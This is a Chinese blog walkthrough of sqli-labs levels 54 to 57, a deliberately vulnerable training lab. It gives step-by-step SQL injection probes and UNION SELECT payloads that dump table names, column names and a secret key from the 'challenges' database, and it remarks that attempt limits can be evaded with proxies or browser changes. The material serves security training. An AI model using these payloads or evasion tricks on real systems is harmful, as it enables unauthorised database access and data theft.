Sqli-labs之Less:54-57

                                                Less-54

基于错误_GET_单引号_字符型_UNION注入

Sqli-labs之Less:54-57_第1张图片

翻译:

                   请输入ID作为参数,数值与实验室时习相同
    此挑战的目标是在不到10次的尝试中从数据库(challenges)的随机表中转储(密钥)
    为了好玩,每次重置,挑战都会生成随机表名、列名和表数据。随时保持新鲜。

从 Less 54 - Less 65 这 12 关属于 Page 4:Challenges,这些是一些综合的注入训练,限制了查询的次数,更贴近于 GET 的实战。这也是整个 Sqli-Labs 的最后一部分。

现在我们将综合运用之前所学的各种注入技巧,拿到 密钥。

我们先正常访问下页面:

Sqli-labs之Less:54-57_第2张图片

从图中我们了解到了:

我们顺便看下核心源代码:

详情请看源代码。

下面开始我们的注入:

?id=1'

?id=1"

Sqli-labs之Less:54-57_第3张图片

Sqli-labs之Less:54-57_第4张图片

双引号正常,单引号无报错有异常回显,为字符型单引号闭合。(无法进行报错注入)

?id=1'--+

Sqli-labs之Less:54-57_第5张图片

正确回显,未过滤注释。

?id=0' union select 1,2,3--+

Sqli-labs之Less:54-57_第6张图片

既然有回显,在相应位置使用union注入即可。

 

该题提示我们数据库为challenges,我们可以在后台查看:

Sqli-labs之Less:54-57_第7张图片

但是这里数据表是随机生成的,到达10次后,可以 reset(重置)一下,数据表就会发生变化

爆表

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

Sqli-labs之Less:54-57_第8张图片

爆字段:

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='iaem80ucss'--+

Sqli-labs之Less:54-57_第9张图片

那个secret加上奇奇怪怪字符的字段应该就是我们想要的。

爆数据:

由于尝试的次数达到10次,再次提交就会提醒我们并强制重置:

Sqli-labs之Less:54-57_第10张图片

上面的页面停留3秒后,返回到最初的页面:

Sqli-labs之Less:54-57_第11张图片

好吧,好吧,直接从爆表重新来过吧,这里就不在演示上面重复的操作,直接演示爆数据:

?id=0' union select 1,2,group_concat(secret_K2YN) from challenges.mtwan8eq7l--+

Sqli-labs之Less:54-57_第12张图片

在下面的输入框中输入 密钥 即可,出现祝贺的图片:

Sqli-labs之Less:54-57_第13张图片

 

Sqli-labs之Less:54-57_第14张图片

congrats you nailed it -------->恭喜你成功了

这个成功的页面会在3秒后关闭,并强制重置到最初的页面,所以为了截这张图又特意做了一边,谁叫我截图慢了一步呢 ╮(-_-)╭

在实际渗透测试当中,我们可以利用更换 ip(使用代理)或更换浏览器等,看服务器端检测什么内容进行限制。

--------------------------------------- 分隔符 ----------------------------

                                                  Less-55

基于错误_GET_小括号_数字型_UNION注入

Sqli-labs之Less:54-57_第15张图片

我们先看看这一关给我们几次机会:

Sqli-labs之Less:54-57_第16张图片

给了14次机会。

本关的 sql 语句为:

也注释了报错信息:


其余和 less54 是一样的,所以我们将上述的语句前添加 ) 即可。特别注意:这里是数字型小括号闭合。在前面的关卡中还没遇到过这样的。

因为是数字型所以单双引号都会报错,在这里因为注释掉了报错信息,所以这里是无报错有异常回显

还要注意的是这里使用union注入发现单单一个数字型无法注入成功的时候就要考虑是否含有小括号。

测试的话:

?id=1                正确回显

?id=1'      无错误异常回显
?id=1"      无错误异常回显
?id=1')--+   无错误异常回显
?id=1")--+   无错误异常回显

?id=1)--+    正确回显

剩下的操作参照Less-54
如:

Sqli-labs之Less:54-57_第17张图片

--------------------------------------- 分隔符 ----------------------------

                                                    Less-56

基于错误_GET_小括号_单引号_字符型_UNION注入

Sqli-labs之Less:54-57_第18张图片

与 less54-55 形式是一致的,我们关注 sql 语句:

所以依旧使用union注入。

过程:

?id=1' 无错误有异常回显,?id=1 ?id=1" 正确回显,说明是单引号字符型,于是测试?id=1'--+ 发现依旧无错误异常回显,猜测是否含有小括号,测试 ?id=1')--+ 发现正常回显,说明这是字符型单引号加小括号闭合

?id=1          正确回显

?id=1"          正确回显

?id=1'          无错误异常回显

?id=1'--+      无错误异常回显

?id=1')--+    正常回显

--------------------------------------------------------

格外说明:(这种情况出现在字符型注入中,造成这样的原因是括号的优先级高。如果是数字型带括号下面的语句会直接报错的,)

?id=1)--+     虽然正确回显,但是后台数据库并没有闭合成功,无法进行注入

?id=1")--+   虽然正确回显,但是后台数据库并没有闭合成功,无法进行注入

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

Sqli-labs之Less:54-57_第19张图片

剩下的参考Less-54

在这里要说一点就是括号的优先级大于单双引号,如果我们遇到 字符型带括号类型注入,如字符型单引号小括号,如果我们在url中输入?id=1)--+ ?id=1")--+ 由于优先级的问题页面是会返回正常,但后台数据库并没有成功的进行闭合,使用union注入后都无法成功进行注入。

------------------------ 分隔符 -------------------------------

                                          Less-57

基于错误_GET_双引号_字符型_UNION注入

Sqli-labs之Less:54-57_第20张图片

 

?id=1'
?id=1"
?id=1")
?id=1")--+
?id=1"--+


单引号有正确回显,双引号和双引号加小括号无报错回显,使用注释符发现?id=1"--+ 可以进行正常回显,所以这是一道双引号字符型注入。所以可以参考Less-54:

?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

Sqli-labs之Less:54-57_第21张图片

看下源码:

你可能感兴趣的:(Sqli-labs之Less:54-57)